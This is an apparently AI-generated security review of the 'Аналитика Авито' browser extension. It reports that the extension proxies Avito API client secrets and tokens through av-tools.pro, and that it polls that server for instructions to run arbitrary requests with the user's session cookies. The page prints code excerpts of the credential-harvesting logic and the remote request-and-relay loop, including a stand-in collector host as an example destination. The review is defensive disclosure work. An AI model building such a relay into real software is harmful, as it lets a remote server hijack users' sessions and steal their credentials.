Is Аналитика Авито safe?
Аналитика Авито polls its own server every 10s for HTTP instructions it executes with the user's Avito session cookies.
In the background the extension asks av-tools.pro for a pending 'operation' every 10 seconds, then carries out whatever request that server specifies (any URL, method, headers, and body) using the user's own logged-in Avito credentials, and posts the full result back to a server-chosen address. For sellers who have set up an Avito Developer API client, it also reads that client's ID and secret from the user's Avito profile and routes every Developer API call, including the token exchange carrying the plaintext client secret, through av-tools.pro's own proxy instead of contacting Avito's API directly.
Who publishes itИнструменты - 2 other listings from the same operator, 2 of them carrying a finding
Инструменты - 2 other listings from the same operator, 2 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
2 other listings published from this account, 12k+ users between them. 2 of them carry a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Avito API client credential and bearer tokens routed through vendor proxy
If your Avito seller account has a registered API client, the extension reads its client credential from your profile, then routes the token exchange and every later API call through the vendor's own server instead of Avito's API.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Static analysis
A seller who has registered an Avito Developer API (OpenAPI) client opens the extension's promotion pricing or auto-bid tool.
The extension reads that client's id and credential from the seller's profile, then sends the credential and every Bearer token to the vendor's server instead of Avito's API.
The vendor's backend performs the actual Avito API calls on the extension's behalf.
request() sends to av-tools.pro instead of the URL it was given
class AvitoApiClient { constructor(clientId, clientSecret) { this.client_id = clientId; this.client_secret = clientSecret; this.token = null; this.tokenExpiration = null; } async getToken() { if (this.hasValidCachedToken()) return; // Descriptor names api.avito.ru as the target... const resp = await (await this.request({ url: "https://api.avito.ru/token", method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, form: { client_id: this.client_id, client_secret: this.client_secret, grant_type: "client_credentials" } })).json(); this.token = resp.access_token; this.tokenExpiration = Date.now() + resp.expires_in * 1000; localStorage.setItem("avito_token", this.token); localStorage.setItem("avito_token_expiration", this.tokenExpiration); } async request(descriptor) { // ...but request() ignores descriptor.url entirely and sends the // whole descriptor, including the plaintext client_secret, to the // vendor's own backend, which performs the real call to Avito. const resp = await fetch("https://av-tools.pro/ext/request_avito", { method: "POST", body: JSON.stringify(descriptor) }); if (!resp.ok) throw new Error(await resp.text()); return resp; }}Where client_id/client credential are read from your own Avito profile
fetchWithSession("https://www.avito.ru/web/1/profile/openapi/clients", "GET", null, { "Content-Type": "application/json" }) .then(resp => { if (resp.ok) { resp.json().then(clients => { if (clients.length > 0) { // Takes the seller's first registered OpenAPI client and // hands its id/secret straight to AvitoApiClient above. avitoClient.value = new AvitoApiClient(clients[0].clientId, clients[0].clientSecret); } }); } });- OAuth client credentialclient_secret=<redacted>
Sent in plaintext in the POST body during the token exchange, instead of only to Avito's own token endpoint.
- Bearer access tokenAuthorization: Bearer <redacted>
Every subsequent API call's Authorization header is sent to the vendor's server, which makes the real Avito call on your behalf.
- Full request body{"itemID":123456789,"bidPenny":500}
Calls like setting bid prices or ad promotion are forwarded whole, since av-tools.pro is the one that actually talks to Avito.
- av-tools.pro
The extension's own vendor backend; receives your OAuth client credential and every Bearer token, and performs the real Avito API calls server-side.
- api.avito.ru
Named as the request target in the code, but never contacted directly by the extension itself; av-tools.pro calls it instead.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Vendor server can direct the extension to request any URL using your session
Every 10 seconds the extension asks its own server for an 'operation'.
If one arrives, it makes the exact request the server describes, using your logged-in session, then sends the whole result to a server-chosen address.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
The background service worker polls its own backend for a pending 'operation' every 10 seconds, regardless of what site you're on.
When the backend response includes an id field, the extension reads a url, method, headers, and two callback addresses out of that response and treats it as an instruction.
Nothing in the extension code restricts which url or which callback address the server is allowed to send.
The unrestricted request-and-relay function
function pollForOperation() { const flags = { user_id: cachedUser?.id, hasTariff: cachedUser?.hasTariff, hasWordstat: cachedUser?.hasWordstat, hasDashboard: cachedUser?.hasDashboard, hasAvitoPro: cachedUser?.hasAvitoPro }; const qs = new URLSearchParams(flags).toString(); fetch("https://av-tools.pro/ext/get_operation_user?" + qs) .then(r => r.json()) .then(op => { if ("id" in op) runOperation(op); });}function runOperation(op) { const { url, method, params, headers, success_url, fail_url } = op; // No check that `url` is an Avito domain, and no check that // `success_url` / `fail_url` are trusted destinations. fetch(url, { method: method || "GET", credentials: "include", // the user's session cookies ride along headers: headers || {}, body: params ? JSON.stringify(JSON.parse(params)) : null }) .then(resp => { const headerObj = {}; for (const [k, v] of resp.headers.entries()) headerObj[k] = v; return resp.ok ? resp.text().then(body => { try { return JSON.parse(body); } catch { return body; } }) : resp.text().then(body => { throw { status: resp.status, statusText: resp.statusText, headers: headerObj, body }; }); }) .then(result => forwardResult(success_url, result)) .catch(err => forwardResult(fail_url, { error: err.statusText || "Unknown error", status: err.status || "Unknown status", headers: err.headers || {}, body: err.body || "No response body" }));}function forwardResult(destination, payload) { fetch(destination, { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload) });}setInterval(pollForOperation, 10000);- Request targethttps://www.avito.ru/web/1/profile
Any URL the server names, including sites you're logged into elsewhere in that browser session.
- Session cookiescredentials: "include"
The extension attaches your logged-in session to whatever request the server described.
- Result destinationhttps://attacker-collector.example/collect
Where the captured response, including its headers and body, gets sent next.
- av-tools.pro
The extension's own vendor backend; issues the periodic instruction and can name any request target and any result destination.
Every 10 seconds
Runs every 10 seconds for as long as the service worker is alive, independent of any open Avito tab.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 3.0.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on avito.ru
*://*.avito.ru/*
Read and change your data on av-tools.pro
*://av-tools.pro/*
Watch every request your browser makes
webRequest
Act on the current tab, but only after you click the extension
activeTab
Schedule its own background tasks
alarms
Store data in your browser
storage
Where it sends data
Destinations our analysis observed Аналитика Авито contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- av-tools.pro
Аналитика Авито sends data to av-tools.pro. One other extension we have analysed sends data here.